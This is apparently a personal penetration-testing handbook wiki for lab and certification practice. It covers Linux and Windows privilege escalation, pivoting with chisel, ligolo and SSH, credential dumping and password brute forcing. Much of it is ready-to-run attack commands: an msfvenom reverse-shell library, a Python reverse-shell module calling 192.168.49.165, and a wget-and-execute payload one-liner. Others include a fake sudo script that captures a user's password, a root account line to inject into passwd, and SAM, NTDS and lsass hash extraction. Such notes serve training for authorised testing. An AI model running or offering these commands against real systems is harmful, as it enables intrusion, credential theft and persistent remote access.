ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
# Within the selected session, initiate the tunnel:
tunnel_start --tun
# Replace with your chosen name for the TUN interface.
# Set Up Routing:
# Determine the network configuration of the agent using the ifconfig command within the session.
# On your Windows proxy machine, add routes to access the target network:
route add mask
# Replace , , and with the appropriate values based on the agent's network configuration.

</syntaxhighlight>

=== meterpreter ===

<syntaxhighlight lang="bash">
# Use autoroute module to create a pivot for the other network
use post/multi/manage/autoroute
set SUBNET 192.72.180.0
set SESSION 2
exploit
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.
use auxiliary/server/socks_proxy # Or try socks5
show options
set SRVPORT 9050
exploit
# Now you can use proxychains
# DISCOVER OTHER HOSTS ON THE NETWORK
# On windows you can use post/windows/gather/arp_scanner to discover other machines
# On Linux you can try arp -a
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
ssh -D 1337 user@172.16.0.5 -fN
# Now use proxychains
# If you want to nmap without proxychains
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080
</syntaxhighlight>

=== sshuttle ===

<syntaxhighlight lang="bash">
# Synopsis
sshuttle [options] -r [username@]sshserver[:port]
# Example
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24
</syntaxhighlight>

----

== Port Forwarding techniques ==

<syntaxhighlight lang="bash">
# Windows
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS
# Metasploit
portfwd add -l 9090 -p 9090 -r TARGETIP
# Reverse ssh tunnel, port forwarding 8090 from target to us:
ssh -R 8090:localhost:8090 user@ip
# Local port forward, forward local 8090 to target:
ssh -L 8090:localhost:8090 user@ip
# Chisel
# Example: forward port 8888 to attacker using chisel
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

=== SSH ===

<syntaxhighlight lang="bash">
# Synopsis
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host
# Example
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100
</syntaxhighlight>

=== Chisel ===

Example: forward port 8888 to attacker using chisel

<syntaxhighlight lang="bash">
# Attacker machine
chisel server -p 8000 --reverse
# Target
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888
# Connection received on attacker machine
server: proxy#1:R:0.0.0.0:8888=>localhost:8888: Listening
</syntaxhighlight>

----

== Python ==

=== Decompile ===

<syntaxhighlight lang="python">
# https://github.com/rocky/python-decompile3
# Translate python bytecode to python source code.
$ python pyinstxtractor.py
# Decompile .pyc
# https://github.com/zrax/pycdc
git clone https://github.com/zrax/pycdc
cd pycdc
cmake .
make
make check
python pycdc C:\Users\Bobby\example.pyc
</syntaxhighlight>

=== Load module ===

<syntaxhighlight lang="bash">
# If a python script tries to load a module which does not exist, we can place our own module. # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
# Add a python reverse shell into the file
echo 'import os,pty,socket;s=socket.socket();s.connect(("192.168.49.165",22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > module.py
</syntaxhighlight>

=== PDB (Python Debugger ===

[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]

<syntaxhighlight lang="python">
# Add import pdb
import pdb
# In script, before an error message, add
pdb.set_trace()
# Example
-> url = url.group(1)
(Pdb) print url.group(1)
http://swagshop.htb/index.php/admin/das[...]
(Pdb) continue
</syntaxhighlight>

=== Python Extractor ===

<syntaxhighlight lang="python">
# https://github.com/extremecoders-re/pyinstxtractor
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell
Python3 pyinstxtractor.py
</syntaxhighlight>

=== Simple HTTP Server ===

<syntaxhighlight lang="bash">
$python -m SimpleHTTPServer
$python -m http.server
</syntaxhighlight>

----

== Symbolic Link (Windows) ==

<syntaxhighlight lang="bash">
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa
</syntaxhighlight>

----

== Wordlists ==

=== Cewl - Generate wordlist ===

<syntaxhighlight lang="bash">
# Will create a wordlist from words in the URL, and add numbers.
cewl --with-numbers > wordlist
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)
cewl -d 2 -m 5 -w docswords.txt https://example.com
</syntaxhighlight>

=== Cupp ===

[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]

<syntaxhighlight lang="bash">
python3 cupp.py -i # Interactive mode where you fill out information about the person
</syntaxhighlight>

=== Datelist - Generate date wordlist ===

[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]

<syntaxhighlight lang="bash">
# Generate date list with yyyy-mm-dd format
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -
-b = beginning date
-e = end date
-f = format
-o = output
-s = spacing
</syntaxhighlight>

=== Seclists ===

[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]

=== Python script ===

<syntaxhighlight lang="python">
import itertools
words = ["firmanavn", "sommer", "prod",
"dev", "database", "app", "server",
"test", "oracle", "doc", "admin", "db",
"password", "administrator", "tech"]
combo = itertools.combinations(words, 2)
combo = list(combo)

with open("/home/kali/wordlist.txt", "w+") as wordlist:
for i in combo:
wordlist.write(i[0] + "." + i[1])
wordlist.write("\n")
wordlist.write(i[0].capitalize() + "." + i[1].capitalize())
wordlist.write("\n")

for i in range(0,2023):
for v in words:
word = v + str(i) + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "\n"
wordlist.write(word)
word = v + str(i) + "!" + "\n"
wordlist.write(word)
word = v.capitalize() + str(i) + "!" + "\n"
wordlist.write(word)
</syntaxhighlight>

----

== Useful Linux Commands ==

=== Add SUID (setuid) bit to file ===

<syntaxhighlight lang="bash">
chmod 4755 /tmp/sh
</syntaxhighlight>

=== Add user to sudoers file ===

<syntaxhighlight lang="bash">
# Add User to sudoers file
echo username ALL=(ALL) ALL >> sudoers
</syntaxhighlight>

=== BruteForce using su when having a shell - Password Spray ===

<syntaxhighlight lang="bash">
https://github.com/carlospolop/su-bruteforce
./su.sh -u ray -w xato-net-10-million-passwords-10000.txt
</syntaxhighlight>

=== Cat, cut delimeter ===

<syntaxhighlight lang="bash">
# Cat a file and cut delimiter space in field 3
cat $log | cut -d' ' -f3-
</syntaxhighlight>

=== Copy output to clipboard ===

<syntaxhighlight lang="bash">
cat file | xclip -selection clipboard
</syntaxhighlight>

=== Enable cursor in Terminal Kali ===

<syntaxhighlight lang="bash">
tput cnorm
</syntaxhighlight>

=== Output tty to shell or redirect to file ===

<syntaxhighlight lang="bash">
# From eavsdropper room in THM
# If a user types in his password and you have a shell you can redirect output to your shell.
cat sudo
#!/bin/bash
read password
echo $password > /dev/pty/0 # Choose the correct pty.
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.
# Run
export $PATH=/tmp:$PATH
# Now wait for the user to type his password and it will pop up in your shell.
</syntaxhighlight>

=== Kill/close open port on linux ===

<syntaxhighlight lang="bash">
fuser -k PORT/tcp
</syntaxhighlight>

=== Reset kali to default settings ===

BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.

<syntaxhighlight lang="bash">
# If you're having problems with kali acting up, you can reset kali to default.
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:
sudo apt-get update && sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo update-grub
</syntaxhighlight>

=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===

<syntaxhighlight lang="bash">
# https://vk9-sec.com/linux-restricted-shell-bypass/
# List of escape methods
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/
# If in rshell (Restricted shell), use this command to list all available commands
compgen -c
# Rbash escape ssh
ssh alfred@10.11.1.101 -t 'bash' --noprofile
</syntaxhighlight>

[[File:2022-11-image-1.png|thumb]]

=== Read .db files ===

<syntaxhighlight lang="bash">
# For DB files, like users.db. Read content with sqlitebrowser
sqlitebrowser users.db
</syntaxhighlight>

=== Read Windows registry files on Linux ===

<syntaxhighlight lang="bash">
# Start hivexsh, and load a hive.
# https://linux.die.net/man/1/hivexsh
hivexsh
> load SECURITY
</syntaxhighlight>

=== ss instead of netstat ===

<syntaxhighlight lang="bash">
ss -tlpn
-t display tcp socket
-l display listening socket
-p show process using packets
-n dont resolve service name
</syntaxhighlight>

=== Fix Desktop Environment if its broken ===

<syntaxhighlight lang="bash">
https://www.kali.org/docs/general-use/xfce-faq/
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.
REMEMBER TO DELETE IT FROM THE HOME USER and not root.
</syntaxhighlight>

=== Fix Kali Login loop ===

<syntaxhighlight lang="bash">
# On the login screen type
CTRL + ALT + F1
# then type this command from the home/kali dir.
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart
</syntaxhighlight>

----

== Useful Windows Commands ==

=== Stealing SAM and SYSTEM ===

[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]

This files should be '''located''' in ''C:\windows\system32\config\SAM'' and ''C:\windows\system32\config\SYSTEM.'' But '''you cannot just copy them in a regular way''' because they protected.

<syntaxhighlight lang="bash">
C:\windows\system32\config\SAM
C:\windows\system32\config\SYSTEM
C:\windows\system32\config\regback\system.old
C:\windows\system32\config\regback\system
C:\windows\system32\config\regback\sam.old
C:\windows\system32\config\regback\sam
</syntaxhighlight>

==== From Registry ====

The easiest way to steal those files is to get a copy from the registry:

<syntaxhighlight lang="bash">
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
</syntaxhighlight>

'''Download''' those files to your Kali machine and '''extract the hashes''' using:

<syntaxhighlight lang="bash">
samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL
</syntaxhighlight>

=== Check if shell is 64-bit ===

<syntaxhighlight lang="powershell">
[Environment]::Is64BitOperatingSystem
</syntaxhighlight>

=== Decompile .NET exe file ===

<syntaxhighlight lang="bash">
# Use dotpeek or dnSPY
https://www.jetbrains.com/decompiler/
https://github.com/dnSpy/dnSpy
</syntaxhighlight>

=== Dump hashes from NTDS.dit using secretdump.py ===

<syntaxhighlight lang="bash">
# Location C:\Windows\ or C:\Windows\System32\
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
</syntaxhighlight>

=== Dumping Domain password hasehs ===

<syntaxhighlight lang="bash">
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow
https://pentestlab.blog/tag/diskshadow/
</syntaxhighlight>

=== Dump creds frol lsass.dmp ===

<syntaxhighlight lang="bash">
# https://github.com/skelsec/pypykatz
# See writeup for HTB Blackfield
pypykatz lsa minidump lsass.DMP
</syntaxhighlight>

=== Find writeable directories ===

<syntaxhighlight lang="bash">
# Find writable directories
dir /a-r-d /s /b
</syntaxhighlight>

=== Find .NET version using regkey ===

<syntaxhighlight lang="bash">
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
</syntaxhighlight>

=== Executing MSI on Windows ===

<syntaxhighlight lang="bash">
msiexec /quiet /i cmd.msi
</syntaxhighlight>

=== Dump Windows Sam File ===

<syntaxhighlight lang="bash">
reg save hklm\sam c:\sam
reg save hklm\system c:\system
</syntaxhighlight>

=== Run a dll using rundll32.exe ===

<syntaxhighlight lang="bash">
rundll32 C:\Tools\TestDll.dll,run
</syntaxhighlight>

=== Registry dump passwords ===

<syntaxhighlight lang="bash">
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
</syntaxhighlight>

=== Registry dump autologon passwords ===

<syntaxhighlight lang="bash">
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
</syntaxhighlight>

=== See WiFi password in cleartext ===

<syntaxhighlight lang="bash">
netsh wlan show profile
netsh wlan show profile Profile01 key=clear
</syntaxhighlight>

=== Enviroment variable Location ===

{| class="wikitable"
|-
| %ALLUSERSPROFILE%
| C:\Documents and Settings\All Users
|-
| %APPDATA%
| C:\Documents and Settings\Username\Application Data
|-
| %COMMONPROGRAMFILES%
| C:\Program Files\Common Files
|-
| %COMMONPROGRAMFILES(x86)%
| C:\Program Files (x86)\Common Files
|-
| %COMSPEC%
| C:\Windows\System32\cmd.exe
|-
| %HOMEDRIVE%
| C:\
|-
| %HOMEPATH%
| C:\Documents and Settings\Username
|-
| %PROGRAMFILES%
| C:\Program Files
|-
| %PROGRAMFILES(X86)%
| C:\Program Files (x86) (only in 64-bit version)
|-
| %SystemDrive%
| C:\
|-
| %SystemRoot%
| C:\Windows
|-
| %TEMP% and %TMP%
| C:\Documents and Settings\Username\Local Settings\Temp
|-
| %USERPROFILE%
| C:\Documents and Settings\Username
|-
| %WINDIR%
| C:\Windows
|}

=== List all PowerShell Accelators ===

<syntaxhighlight lang="powershell">
[psobject].assembly.gettype("System.Management.Automation.TypeAccelerators")::Get
Key Value
--- -----
Alias System.Management.Automation.AliasAttribute
AllowEmptyCollection System.Management.Automation.AllowEmptyCollectionAttribute
AllowEmptyString System.Management.Automation.AllowEmptyStringAttribute
AllowNull System.Management.Automation.AllowNullAttribute
ArgumentCompleter System.Management.Automation.ArgumentCompleterAttribute
array System.Array
bool System.Boolean
byte System.Byte
char System.Char
....
</syntaxhighlight>

----

== PROOFS ==

=== Linux ===

<syntaxhighlight lang="bash">
echo " ";echo "uname -a:";uname -a;echo " ";echo "hostname:";hostname;echo " ";echo "id";id;echo " ";echo "ifconfig:";/sbin/ifconfig -a;echo " ";echo "proof:";cat /root/proof.txt 2>/dev/null; cat /Desktop/proof.txt 2>/dev/null;echo " "
</syntaxhighlight>

=== Windows ===

<syntaxhighlight lang="bash">
echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: & type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
</syntaxhighlight>

== HELP! I'm stuck - What to do when stuck ==

The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis' notes.]

=== Initial access ===

==== Web discovery ====

* Search for <code>http://site/[hostname]</code> if you can't find a directory or software you think should exist.

* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.

* Fuzz parameters with ffuf.

* Examine response headers for minor custom errors.

==== Getting a shell ====

* To save time, upload a web shell instead of manually executing PHP commands.

* Some PHP local file inclusion vulnerabilities can reference remote resources with <code>?path=http://[kali ip]/rev-shell.php</code>.

* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.

* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: <code>wget -P /tmp http://kali/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf</code>

* If a CMS has an RCE, look closely at what/where it's implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.

* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.

* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add <code>exit(0)</code> in the python script after the account is created and use the credentials for another exploit.

* Use the same ports the box has open for shell callbacks.

* Try at least 4 ports and ping when trying to get a callback.

* If you can control data being read to the server, always consider serialization.

* Always test payloads locally, especially if it's blind.

* Consider where can you write data to that's then read back in to the server.

==== General ====

* Don't spin wheels on other routes if something has a known exploit to root and it's a 10 pointer.

* Check version numbers to ensure something isn't a false flag.

* Consider similar protocols. If you get an SSH key, try using it over SCP.

* Type version numbers carefully!

* For hydra always do -e nsr. Example: <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I</code>

* Look for <code>auth-owners</code> in nmap to get usernames.

* FTP - always be in a directory on kali that's writable to download files.

* FTP brute force "admin".

* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].

* Search a software's Github page for version files that would give specific information.

* See Proving Grounds' Dibble for node.js RCE.

* Review page source code for commented out areas for every page.

* Guess parameters. If there's a POST forgot_pass.php with an email param, try <code>GET /forgot_pass.php?email=%0aid.</code>

* Parameter/command injection fuzzing:
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]

* <code>ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde</code>

* See Proving Grounds' Hetemit for an example

* When brute forcing credentials, guess the software name as the username and password.

* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.

=== Windows Privilege Escalation ===

* Explore the C:\ drive root. Some scheduled tasks can't be seen as a low level user could be located at C:\.

* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]

Handbook I - Basic

2026-06-03T13:42:43Z

Administrator: /* 5985, 5986 - WinRM */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
